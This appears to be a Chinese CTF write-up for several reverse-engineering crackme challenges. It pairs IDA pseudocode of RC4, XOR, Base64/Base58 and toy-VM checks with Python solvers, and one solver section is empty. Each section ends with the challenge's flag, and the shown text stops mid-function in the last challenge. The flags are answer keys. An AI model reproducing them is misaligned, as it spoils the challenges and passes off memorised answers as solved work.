ezSMC
打开ida直接查看代码
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
int v4; // eax
int v6; // eax
CTX ctx; // [rsp+20h] [rbp-60h] BYREF
uint8_t key[1]; // [rsp+127h] [rbp+A7h] BYREF
int binlen; // [rsp+128h] [rbp+A8h] BYREF
int hexlen; // [rsp+12Ch] [rbp+ACh] BYREF
char input[1024]; // [rsp+130h] [rbp+B0h] BYREF
char *en3; // [rsp+530h] [rbp+4B0h]
char *en2; // [rsp+538h] [rbp+4B8h]
char *en1; // [rsp+540h] [rbp+4C0h]
uint8_t *bin; // [rsp+548h] [rbp+4C8h]
uint8_t *hex_ascii; // [rsp+550h] [rbp+4D0h]
const char *cipher; // [rsp+558h] [rbp+4D8h]
_main(argc, argv, envp);
cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7";
printf("Plz input your flag miao: ");
v3 = __acrt_iob_func(0);
fgets(input, 1024, v3);
input[strcspn(input, "\r\n")] = 0;
hex_ascii = ascii_to_hexbytes(input, &hexlen);
bin = hexstr_to_bytes((const char *)hex_ascii, &binlen);
key[0] = 17;
init(&ctx, key, 1);
encode(&ctx, bin, binlen);
en1 = bytes_to_hexstr(bin, binlen);
miao_encrypt();
v4 = strlen(en1);
en2 = Base64((const uint8_t *)en1, v4);
if ( en2 )
{
v6 = strlen(en2);
en3 = Base58((const uint8_t *)en2, v6);
if ( !strcmp(en3, cipher) )
puts("Correct!");
else
puts("Wrong!");
free(hex_ascii);
free(bin);
free(en1);
free(en2);
free(en3);
return 0;
}
else
{
puts("encodee returned NULL");
return 0;
}
}
虽然直接得到了密文,但是加密过程并不能看到那几个加密函数的内容,可以在miao_encrypt函数的地方断点,动态调试,运行到该处时得到解密后的加密函数的内容,选中区域undefine后重新定义函数就可以得到可以阅读的伪代码
void __cdecl encode(CTX *ctx, uint8_t *data, int len)
{
int n; // [rsp+2Ch] [rbp-4h]
for ( n = 0; n < len; ++n )
data[n] ^= getbyte(ctx);
}
uint8_t __cdecl getbyte(CTX *ctx)
{
uint8_t t; // [rsp+Fh] [rbp-1h]
ctx->j += ctx->S[++ctx->i];
t = ctx->S[ctx->i];
ctx->S[ctx->i] = ctx->S[ctx->j];
ctx->S[ctx->j] = t;
return ctx->S[(unsigned __int8)(ctx->S[ctx->i] + ctx->S[ctx->j])];
}
char *__cdecl Base64(const uint8_t *buf, int len)
{
int v3; // eax
char v4; // al
int v5; // edx
char v6; // al
int v7; // edx
char *v8; // [rsp+28h] [rbp-18h]
unsigned int v9; // [rsp+34h] [rbp-Ch]
int i; // [rsp+38h] [rbp-8h]
int v11; // [rsp+3Ch] [rbp-4h]
int v12; // [rsp+3Ch] [rbp-4h]
int v13; // [rsp+3Ch] [rbp-4h]
v8 = (char *)malloc(4 * ((len + 2) / 3) + 1);
if ( !v8 )
return 0LL;
v11 = 0;
for ( i = 0; i < len; i += 3 )
{
v9 = buf[i] << 16;
if ( len > i + 1 )
v9 |= buf[i + 1] << 8;
if ( len > i + 2 )
v9 |= buf[i + 2];
v8[v11] = encodee(unsigned char const*,int)::base64_table[(v9 >> 18) & 0x3F];
v3 = v11 + 1;
v12 = v11 + 2;
v8[v3] = encodee(unsigned char const*,int)::base64_table[(v9 >> 12) & 0x3F];
if ( len <= i + 1 )
v4 = 61;
else
v4 = encodee(unsigned char const*,int)::base64_table[(v9 >> 6) & 0x3F];
v5 = v12;
v13 = v12 + 1;
v8[v5] = v4;
if ( len <= i + 2 )
v6 = 61;
else
v6 = encodee(unsigned char const*,int)::base64_table[v9 & 0x3F];
v7 = v13;
v11 = v13 + 1;
v8[v7] = v6;
}
v8[v11] = 0;
return v8;
}
char *__cdecl Base58(const uint8_t *data, int len)
{
int v2; // eax
int v3; // eax
char *out; // [rsp+28h] [rbp-38h]
int *digits; // [rsp+38h] [rbp-28h]
int size; // [rsp+40h] [rbp-20h]
int k; // [rsp+44h] [rbp-1Ch]
int p; // [rsp+48h] [rbp-18h]
int i; // [rsp+4Ch] [rbp-14h]
int j; // [rsp+50h] [rbp-10h]
int carry; // [rsp+54h] [rbp-Ch]
int carrya; // [rsp+54h] [rbp-Ch]
int i_0; // [rsp+58h] [rbp-8h]
int zeros; // [rsp+5Ch] [rbp-4h]
size = 138 * len / 100 + 2;
digits = (int *)calloc(size, 4uLL);
for ( zeros = 0; zeros < len && !data[zeros]; ++zeros )
;
for ( i_0 = zeros; i_0 < len; ++i_0 )
{
carry = data[i_0];
for ( j = size - 1; j >= 0; --j )
{
carrya = (digits[j] << 8) + carry;
digits[j] = carrya % 58;
carry = carrya / 58;
}
}
for ( i = 0; i < size && !digits[i]; ++i )
;
out = (char *)malloc(zeros + size - i + 1);
p = 0;
for ( k = 0; k < zeros; ++k )
{
v2 = p++;
out[v2] = 65;
}
while ( i < size )
{
v3 = p++;
out[v3] = base58_table[digits[i++]];
}
out[p] = 0;
free(digits);
return out;
}
总结就是RC4+Base58+Base64
exp
import base64
BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
BASE58_TABLE = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz123456789"
class RC4:
def __init__(self, key):
self.S = list(range(256))
self.i = 0
self.j = 0
j = 0
for i in range(256):
j = (j + self.S[i] + key[i % len(key)]) & 0xFF
self.S[i], self.S[j] = self.S[j], self.S[i]
def get_byte(self):
self.i = (self.i + 1) & 0xFF
self.j = (self.j + self.S[self.i]) & 0xFF
self.S[self.i], self.S[self.j] = self.S[self.j], self.S[self.i]
return self.S[(self.S[self.i] + self.S[self.j]) & 0xFF]
def crypt(self, data):
result = bytearray()
for byte in data:
result.append(byte ^ self.get_byte())
return bytes(result)
def base58_decode(data):
leading_zeros = 0
for char in data:
if char == ord('A'):
leading_zeros += 1
else:
break
result = 0
for char in data[leading_zeros:]:
result = result * 58 + BASE58_TABLE.index(chr(char))
decoded = bytearray()
while result > 0:
decoded.append(result & 0xFF)
result //= 256
decoded.extend([0] * leading_zeros)
return bytes(reversed(decoded))
def base64_decode_custom(data):
standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
trans = str.maketrans(BASE64_TABLE, standard_table)
standard_b64 = data.translate(trans)
return base64.b64decode(standard_b64)
def decrypt_flag(cipher_text):
base58_decoded = base58_decode(cipher_text.encode())
base64_decoded = base64_decode_custom(base58_decoded.decode())
hex_bytes = bytes.fromhex(base64_decoded.decode())
rc4 = RC4([17])
decrypted = rc4.crypt(hex_bytes)
hex_str = decrypted.hex()
flag = bytes.fromhex(hex_str).decode('ascii')
return flag
if __name__ == "__main__":
cipher = "tHMoSoMX71sm62ARQ8aHF6i88nhkH9Ac2J7CrkQsQgXpiy6efoC8YVkzZu1tMyFxCLbbqvgXZHxtwK5TACVhPi1EE5mK6JG56wPNR4d2GmkELGfJHgtcAEH7"
try:
flag = decrypt_flag(cipher)
print(f"\n最终flag: {flag}")
except Exception as e:
print(f"错误: {e}")
import traceback
traceback.print_exc()
flag
SYC{OHhhhhhhh_y0u_Kn0m_SMCCCC@!}
QYQSの奇妙冒险
解题流程
先看ida伪代码
__int64 __fastcall main()
{
char *v0; // rdi
__int64 j; // rcx
size_t v3; // rax
size_t v4; // rax
char v5; // [rsp+20h] [rbp+0h] BYREF
char Input[76]; // [rsp+28h] [rbp+8h] BYREF
char key[44]; // [rsp+74h] [rbp+54h] BYREF
int QYQS[29]; // [rsp+A0h] [rbp+80h]
int i; // [rsp+114h] [rbp+F4h]
int k; // [rsp+134h] [rbp+114h]
size_t v11; // [rsp+208h] [rbp+1E8h]
v0 = &v5;
for ( j = 80LL; j; --j )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
j___CheckForDebuggerJustMyCode(&_F26D15BD_FileName_cpp);
strcpy(key, "QYQS");
QYQS[0] = 2;
QYQS[1] = 1;
QYQS[2] = 16;
QYQS[3] = 43;
QYQS[4] = 28;
QYQS[5] = 3;
QYQS[6] = 23;
QYQS[7] = 57;
QYQS[8] = 6;
QYQS[9] = 1;
QYQS[10] = 34;
QYQS[11] = 41;
QYQS[12] = 14;
QYQS[13] = 11;
QYQS[14] = 45;
QYQS[15] = 109;
QYQS[16] = 6;
QYQS[17] = 32;
QYQS[18] = 23;
QYQS[19] = 127;
QYQS[20] = 56;
Menu();
j_scanf_s("%s", Input);
if ( Strlen(Input) == 21 )
{
for ( i = 0; ; ++i )
{
v11 = i;
v3 = Strlen(Input);
if ( v11 >= v3 )
break;
Input[i] ^= i;
v11 = i;
Input[i] ^= key[i % 4];
}
for ( k = 0; ; ++k )
{
v11 = k;
v4 = Strlen(Input);
if ( v11 >= v4 )
break;
if ( Input[k] != QYQS[k] )
goto LABEL_5;
}
typeWriterEffect(&byte_14001C468);
j_printf("\n");
j_printf(asc_14001C478);
_getch();
return 0LL;
}
else
{
LABEL_5:
typeWriterEffect(&byte_14001C448);
return 0LL;
}
}
输入长度为21,将输入内容的每一位与自己的位数异或后分别与key异或,key得到是 QYQS
exp
QYQS = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]
key = "QYQS"
flag = ""
for i in range(21):
char = QYQS[i] ^ ord(key[i % 4])
char = char ^ i
flag += chr(char)
print("Flag:", flag)
flag
SYC{I_@m_QyqS_r1GhT?}
Gensh1n
解题思路
首先不要打开题目 先看ida,以防原神偷家
unsigned __int64 cleanup()
{
int v1; // [rsp+8h] [rbp-238h]
int i; // [rsp+Ch] [rbp-234h]
int v3; // [rsp+10h] [rbp-230h]
int j; // [rsp+14h] [rbp-22Ch]
int v5; // [rsp+20h] [rbp-220h]
int v6; // [rsp+24h] [rbp-21Ch]
char v7[8]; // [rsp+28h] [rbp-218h] BYREF
char s[256]; // [rsp+30h] [rbp-210h] BYREF
char dest[264]; // [rsp+130h] [rbp-110h] BYREF
unsigned __int64 v10; // [rsp+238h] [rbp-8h]
v10 = __readfsqword(0x28u);
fflush(_bss_start);
if ( !fgets(s, 256, stdin) )
exit(1);
v1 = strlen(s);
if ( v1 > 0 && s[v1 - 1] == 10 )
s[--v1] = 0;
if ( !(unsigned int)validate_input_length((unsigned int)v1) )
exit(1);
for ( i = 0; i <= 7; ++i )
v7[i] = global_nodes[16 * i];
if ( !(unsigned int)validate_key(v7, 8LL) )
exit(1);
strncpy(dest, s, v1);
dest[v1] = 0;
compute_checksum(dest, (unsigned int)v1);
stack_push(dest);
stack_push(v1);
stack_push(v7);
stack_push(8LL);
stack_push(sub_44656);
stack_push(0LL);
stack_push(4LL);
reverse_call();
if ( v1 != 28 )
exit(1);
v3 = 1;
for ( j = 0; j < 28; ++j )
{
if ( dest[j] != result[j] )
{
v3 = 0;
break;
}
}
v5 = calculate_crc32(dest, 28LL);
v6 = calculate_crc32(result, 28LL);
if ( !v3 || v5 != v6 )
{
secure_memset((__int64)dest, 0, 0x100uLL);
secure_memset((__int64)v7, 0, 8uLL);
exit(1);
}
puts("Great!");
secure_memset((__int64)dest, 0, 0x100uLL);
secure_memset((__int64)v7, 0, 8uLL);
return v10 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall sub_44656(__int64 a1, int a2, __int64 a3, int a4)
{
int i; // [rsp+20h] [rbp-220h]
int j; // [rsp+20h] [rbp-220h]
int v7; // [rsp+20h] [rbp-220h]
int v8; // [rsp+24h] [rbp-21Ch]
int v9; // [rsp+24h] [rbp-21Ch]
int k; // [rsp+28h] [rbp-218h]
char v11; // [rsp+2Ch] [rbp-214h]
char v12; // [rsp+2Ch] [rbp-214h]
_BYTE v13[520]; // [rsp+30h] [rbp-210h]
unsigned __int64 v14; // [rsp+238h] [rbp-8h]
v14 = __readfsqword(0x28u);
v8 = 0;
for ( i = 0; i <= 255; ++i )
{
v13[i] = i;
v13[i + 256] = *(_BYTE *)(i % a4 + a3);
}
for ( j = 0; j <= 255; ++j )
{
v8 = ((unsigned __int8)v13[j + 256] + v8 + (unsigned __int8)v13[j]) % 256;
v11 = v13[j];
v13[j] = v13[v8];
v13[v8] = v11;
}
v9 = 0;
v7 = 0;
for ( k = 0; k < a2; ++k )
{
v7 = (v7 + 1) % 256;
v9 = (v9 + (unsigned __int8)v13[v7]) % 256;
v12 = v13[v7];
v13[v7] = v13[v9];
v13[v9] = v12;
*(_BYTE *)(k + a1) ^= v13[(unsigned __int8)(v13[v7] + v13[v9])];
}
return v14 - __readfsqword(0x28u);
}
int __fastcall init_node(__int64 a1)
{
__int64 v1; // rax
int i; // [rsp+1Ch] [rbp-4h]
if ( a1 )
{
for ( i = 0; i <= 7; ++i )
{
*(_BYTE *)(16LL * i + a1) = arr[i];
v1 = 16LL * i + a1;
if ( i > 6 )
*(_QWORD *)(v1 + 8) = 0LL;
else
*(_QWORD *)(v1 + 8) = 16 * (i + 1LL) + a1;
}
}
else
{
LODWORD(v1) = puts("error");
}
return v1;
}
是个RC4,从result处可以读到密文
0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56, 0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81, 0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9, 0xA6, 0xBB, 0x16, 0x51
key在arr,是
geek2025
直接解rc4
exp
def rc4_decrypt(ciphertext, key):
# RC4
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plaintext.append(byte ^ k)
return bytes(plaintext)
result = [
0x52, 0x59, 0xF3, 0x8A, 0x00, 0x0F, 0xE6, 0x56,
0x36, 0xE5, 0xF0, 0x33, 0x40, 0x6E, 0x56, 0x81,
0x5A, 0xE5, 0x6F, 0x87, 0x6F, 0x9F, 0x21, 0xC9,
0xA6, 0xBB, 0x16, 0x51
]
key = "geek2025"
plaintext = rc4_decrypt(result, key)
print("flag:", plaintext)
flag
SYC{50_y0u_pl@y_Gensh1n_too}
QYQSの奇妙冒险2
解题流程
这里直接打开看和之前那个奇妙冒险1差不多,算出来的结果也差不多,但事实并非如此
查看汇编代码
__int64 Main()
{
char *v0; // rdi
__int64 i; // rcx
_BYTE v3[32]; // [rsp+0h] [rbp-20h] BYREF
char v4; // [rsp+20h] [rbp+0h] BYREF
char Input[76]; // [rsp+28h] [rbp+8h] BYREF
char Key[44]; // [rsp+74h] [rbp+54h] BYREF
_DWORD v7[29]; // [rsp+A0h] [rbp+80h]
_DWORD v8[8]; // [rsp+114h] [rbp+F4h] BYREF
_DWORD Src[8]; // [rsp+134h] [rbp+114h] BYREF
int v10; // [rsp+194h] [rbp+174h]
int j; // [rsp+1B4h] [rbp+194h]
int k; // [rsp+1D4h] [rbp+1B4h]
size_t Input_len; // [rsp+2B8h] [rbp+298h]
__int64 v14; // [rsp+2C8h] [rbp+2A8h]
v0 = &v4;
for ( i = 128LL; i; --i )
{
*(_DWORD *)v0 = -858993460;
v0 += 4;
}
sub_7FF7AECD13D9(byte_7FF7AECE50A6);
strcpy(Key, "QYQS");
v7[0] = 2;
v7[1] = 1;
v7[2] = 16;
v7[3] = 43;
v7[4] = 28;
v7[5] = 3;
v7[6] = 23;
v7[7] = 57;
v7[8] = 6;
v7[9] = 1;
v7[10] = 34;
v7[11] = 41;
v7[12] = 14;
v7[13] = 11;
v7[14] = 45;
v7[15] = 109;
v7[16] = 6;
v7[17] = 32;
v7[18] = 23;
v7[19] = 127;
v7[20] = 56;
Src[0] = 2143289344;
j_memcpy(v8, Src, 4uLL);
sub_7FF7AECD1320();
sub_7FF7AECD1235("%s", Input);
Input_len = j_strlen(Input);
if ( Input_len >= 0x32 )
sub_7FF7AECD12EE();
Input[Input_len] = 0;
if ( j_strlen(Input) == 21 )
{
v10 = 114514;
for ( j = 0; ; ++j )
{
v14 = j;
if ( j >= j_strlen(Input) )
break;
v10 += v7[j];
v10 <<= Key[j % 4];
Input[j] ^= v10;
}
for ( k = 0; ; ++k )
{
v14 = k;
if ( k >= j_strlen(Input) )
break;
if ( Input[k] != dword_7FF7AECDF000[k] )
goto LABEL_7;
}
sub_7FF7AECD1401((__int64)&unk_7FF7AECDC508);
sub_7FF7AECD11C7("\n");
sub_7FF7AECD11C7(asc_7FF7AECDC518);
getch();
}
else
{
LABEL_7:
sub_7FF7AECD1401((__int64)&unk_7FF7AECDC4E8);
}
sub_7FF7AECD136B((__int64)v3, (__int64)&unk_7FF7AECDC370);
return 0LL;
}
是给v10加上输入的每一位并左移,然后将输入的字符与v10异或,最后再与v7比较 直接逆了
exp
def decrypt():
encrypted = [0x53, 0x59, 0x43, 0x7b, 0x4d, 0x40, 0x79, 0x5f, 0x62, 0x45,
0x5f, 0x79, 0x30, 0x75, 0x5f, 0x46, 0x31, 0x6e, 0x64, 0x3f, 0x7d]
key = "QYQS"
key_ascii = [ord(c) for c in key]
v7 = [2, 1, 16, 43, 28, 3, 23, 57, 6, 1, 34, 41, 14, 11, 45, 109, 6, 32, 23, 127, 56]
v10 = 114514
v10_values = []
for j in range(21):
v10 += v7[j]
v10 <<= key_ascii[j % 4]
v10_values.append(v10)
decrypted = []
for j in range(21):
decrypted_char = encrypted[j] ^ (v10_values[j] & 0xFF)
decrypted.append(chr(decrypted_char))
return ''.join(decrypted)
flag = decrypt()
print(flag)
flag
SYC{M@y_bE_y0u_F1nd?}
ez_vm
解题流程
看不明白,靠猜
unsigned __int64 __fastcall sub_9e8f7a(__int64 a1)
{
size_t n; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+88h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Please enter the input string: ");
fgets(s, 100, stdin);
n = strlen(s);
if ( s[n - 1] == 10 )
s[n - 1] = 0;
n = strlen(s);
memcpy((void *)(*(_QWORD *)(a1 + 96) + 768LL), (const void *)(*(_QWORD *)(a1 + 96) + 256LL), 0x1DuLL);
memcpy((void *)(*(_QWORD *)(a1 + 96) + 512LL), s, n);
dword_50AC = n;
dword_50CC = 768;
dword_5134 = 768;
vm_load_program(a1, &xor_compare_program, 37LL);
vm_run(a1);
if ( *(_QWORD *)(a1 + 32) )
puts("Success: Input matches processed string!");
else
puts("Failure: Input does not match.");
return v4 - __readfsqword(0x28u);
}
在这里发现了点线索,大概是个异或,直接下断点动调看看密文
0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03
众所周知flag的格式是SYC{} 直接拿已知的几位和密文异或,发现结果都是90,合理猜测是密文直接xor90就能得到结果
exp
cipher = [0x09, 0x03, 0x19, 0x21, 0x0D, 0x69, 0x6B, 0x39, 0x6A, 0x37, 0x69, 0x05, 0x2E, 0x6A, 0x05, 0x28, 0x69, 0x1A, 0x6B, 0x05, 0x28, 0x69, 0x2C, 0x3F, 0x28, 0x29, 0x3F, 0x7B, 0x27, 0x03]
# s = "SYC{"
# cipher = [0x09, 0x03, 0x19, 0x21]
# guess_key = [ord(c) ^ cipher[i] for i, c in enumerate(s)]
# print(guess_key)
key = 0x5A
flag = ''
for i in range(29):
flag += chr(cipher[i]^key)
print(flag)
flag
SYC{W31c0m3_t0_r3@1_r3verse!}
GeekBinder
解题流程
直接把libattr.so拿ida打开
__int64 __fastcall attr_xor_cipher(__int64 a1, size_t a2, _QWORD *a3, size_t *a4)
{
void *v7; // [rsp+28h] [rbp-8h]
if ( !a1 || !a2 || !a3 || !a4 )
return 0xFFFFFFFFLL;
v7 = malloc(a2);
if ( !v7 )
return 4294967294LL;
sub_1119(a1, a2, (__int64)v7);
*a3 = v7;
*a4 = a2;
return 0LL;
}
__int64 __fastcall attr_get_hidden_cipher(_QWORD *a1, _QWORD *a2)
{
_QWORD *v3; // [rsp+18h] [rbp-18h]
if ( !a1 || !a2 )
return 0xFFFFFFFFLL;
v3 = malloc(0x5BuLL);
if ( !v3 )
return 4294967294LL;
*v3 = 0x7C725E7310263C34LL;
v3[1] = 0x5D666F5505541F1ELL;
v3[2] = 0x4601535D19153A54LL;
v3[3] = 0x4266037034165614LL;
v3[4] = 0x505E5974340B0002LL;
v3[5] = 0x5B5D536D18543A54LL;
v3[6] = 0x5A666F4B19251713LL;
v3[7] = 0x6A5E705F19550B38LL;
v3[8] = 0x651594608251717LL;
v3[9] = 0x506D5560340B5438LL;
v3[10] = 0x440555705540209LL;
*((_WORD *)v3 + 44) = 521;
*((_BYTE *)v3 + 90) = 24;
*a1 = v3;
*a2 = 91LL;
return 0LL;
}
unsigned __int64 __fastcall sub_1119(__int64 a1, unsigned __int64 a2, __int64 a3)
{
unsigned __int64 result; // rax
unsigned __int64 i; // [rsp+20h] [rbp-8h]
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a2 )
break;
*(_BYTE *)(a3 + i) = *(_BYTE *)(a1 + i) ^ aGeek2025[i % 8];
}
return result;
}
最基础的异或加密,且key是geek2025
exp

flag
SYC{An@Iyz1ng_Th3_proc3ss3s_B3Tween_File3_1s_contr@ry_To_n0rm@l_pr@ctic3_1n_Re_eng1neer1ng}
obfuscat3
解题流程
这题代码量很大就不全粘进来了,但总结就这个关键
a1[i] += mysterious_box[(unsigned __int8)((int)(v19 - ((~(unsigned __int8)mysterious_box[v22] | ~((v13 & 0x7911131C | mysterious_box[v21] & 0xE3) ^ (mysterious_box[v22] & 0x1C | ~(unsigned __int8)mysterious_box[v22] & 0x86EEECE3))) + 1)) % 256)];
mysterious_box的数与密文相加,可以通过动调
0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69,
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74,
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65,
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f,
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64,
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5,
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62,
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75,
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f,
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65,
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb,
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69,
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70,
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72,
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb,
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f,
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63,
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f,
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f,
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f,
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64,
0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f,
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
再将调试的时候中间修改的一部分改回去就行
exp
cipher = [0x53, 0x59, 0x43, 0x7b, 0x41, 0x6c, 0xb3, 0x69,
0x67, 0x68, 0x74, 0x5f, 0x49, 0x5f, 0x73, 0x74,
0x69, 0x31, 0x6c, 0x5f, 0x68, 0x30, 0x70, 0x65,
0x5f, 0x74, 0x68, 0x33, 0x74, 0x5f, 0x79, 0x6f,
0x75, 0x5f, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64,
0x5f, 0x74, 0xbf, 0x65, 0x5f, 0x63, 0x68, 0xb5,
0x6c, 0x6c, 0x33, 0x6e, 0x67, 0x65, 0x5f, 0x62,
0x79, 0x5f, 0x64, 0x65, 0x6f, 0x62, 0xbd, 0x75,
0x73, 0xba, 0x61, 0x74, 0x69, 0x6e, 0x67, 0x5f,
0x74, 0x68, 0x65, 0x6d, 0x5f, 0x47, 0x65, 0x65,
0xc1, 0x5f, 0x69, 0x73, 0x5f, 0x6a, 0x75, 0xcb,
0x74, 0x5f, 0x74, 0x68, 0x65, 0x5f, 0x66, 0x69,
0x72, 0x73, 0x74, 0x5f, 0x73, 0x74, 0x65, 0x70,
0x5f, 0x6f, 0x66, 0x5f, 0x79, 0x6f, 0x75, 0x72,
0x5f, 0x43, 0x54, 0x46, 0x5f, 0x6a, 0x6f, 0xcb,
0x72, 0x6e, 0x65, 0x79, 0x5f, 0x49, 0x6d, 0x5f,
0x67, 0x6c, 0x61, 0x64, 0x5f, 0x49, 0x5f, 0x63,
0x6f, 0xca, 0x6c, 0x64, 0x5f, 0x62, 0x65, 0x5f,
0x70, 0x61, 0x72, 0x74, 0x5f, 0x6f, 0x66, 0x5f,
0x79, 0x6f, 0x75, 0x72, 0x5f, 0x67, 0x72, 0x6f,
0x77, 0x74, 0x68, 0x5f, 0x47, 0x6f, 0x6f, 0x64,
0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f,
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
cipher[6] -= 65
cipher[42] -= 87
cipher[47] -= 84
cipher[62] -= 87
cipher[65] -= 87
cipher[80] -= 86
cipher[87] -= 88
cipher[119] -= 86
cipher[137] -= 85
for i in range(183):
print(chr(cipher[i]))
flag
SYC{Alright_I_sti1l_h0pe_th3t_you_solved_the_chall3nge_by_deobfuscating_them_Geek_is_just_the_first_step_of_your_CTF_journey_Im_glad_I_could_be_part_of_your_growth_Good_luck_for_y0u!}
Lastone
解题流程
看看伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // eax
int v4; // eax
FILE *v5; // eax
int v7; // [esp-8h] [ebp-150h]
char v8; // [esp+0h] [ebp-148h]
char v9; // [esp+0h] [ebp-148h]
char v10; // [esp+0h] [ebp-148h]
unsigned int v11; // [esp+10h] [ebp-138h]
int i; // [esp+DCh] [ebp-6Ch]
_BYTE v13[3]; // [esp+E8h] [ebp-60h] BYREF
_BYTE v14[11]; // [esp+EBh] [ebp-5Dh] BYREF
_BYTE v15[16]; // [esp+F6h] [ebp-52h] BYREF
char v16[2]; // [esp+106h] [ebp-42h] BYREF
char Buffer[44]; // [esp+110h] [ebp-38h] BYREF
BOOL Wow64Process; // [esp+13Ch] [ebp-Ch] BYREF
int savedregs; // [esp+148h] [ebp+0h] BYREF
sub_AE125D(&unk_AEE0A3);
Wow64Process = 0;
GetCurrentProcess();
v3 = (void *)sub_AE1186();
IsWow64Process(v3, &Wow64Process);
if ( sub_AE1186() && Wow64Process )
{
sub_AE1091("[+] Input your flag: ", v8);
__acrt_iob_func(0);
v5 = (FILE *)sub_AE1186();
fgets(Buffer, 33, v5);
if ( sub_AE1186() )
{
strcspn(Buffer, "\r\n");
v11 = sub_AE1186();
if ( v11 >= 0x21 )
sub_AE1032();
Buffer[v11] = 0;
if ( strlen(Buffer) == 32 )
{
Encode(Buffer);
qmemcpy(v13, "5g", 2);
v13[2] = 5;
qmemcpy(v14, "-t@S1AobEK", 10);
v14[10] = 31;
qmemcpy(v15, "W6_KsnOl_I]", 11);
v15[11] = 127;
v15[12] = 63;
v15[13] = 121;
v15[14] = 40;
v15[15] = -46;
qmemcpy(v16, "i~", sizeof(v16));
for ( i = 0; i < 32; ++i )
{
if ( v13[i] != Buffer[i] )
{
sub_AE1091("Wrong\n", v9);
v4 = 0;
goto LABEL_16;
}
}
sub_AE1091("Yes,Yes.\n", v9);
sub_AE1091("This is my love.\nI LOVE YOU.\nThanks!\n", v10);
v4 = 0;
}
else
{
sub_AE1091("[!] Wrong\n", v9);
v4 = 1;
}
}
else
{
sub_AE1091("[!] Wrong!\n", v9);
v4 = 1;
}
}
else
{
sub_AE1091("[!] Must run in 32-bit on 64-bit Windows\n", v8);
v4 = 1;
}
LABEL_16:
v7 = v4;
sub_AE113B(&savedregs, &dword_AE3CCC);
return v7;
}
// attributes: thunk
int __cdecl Encode(int a1)
{
return sub_AE2330(a1);
}
__int64 __cdecl sub_AE2330(int a1)
{
__int64 v1; // rax
int v2; // edx
__int64 v4; // [esp-8h] [ebp-CC0h]
char v5; // [esp+0h] [ebp-CB8h]
int v6; // [esp+3E8h] [ebp-8D0h]
int v7; // [esp+3F4h] [ebp-8C4h]
int v8; // [esp+400h] [ebp-8B8h]
int v9; // [esp+40Ch] [ebp-8ACh]
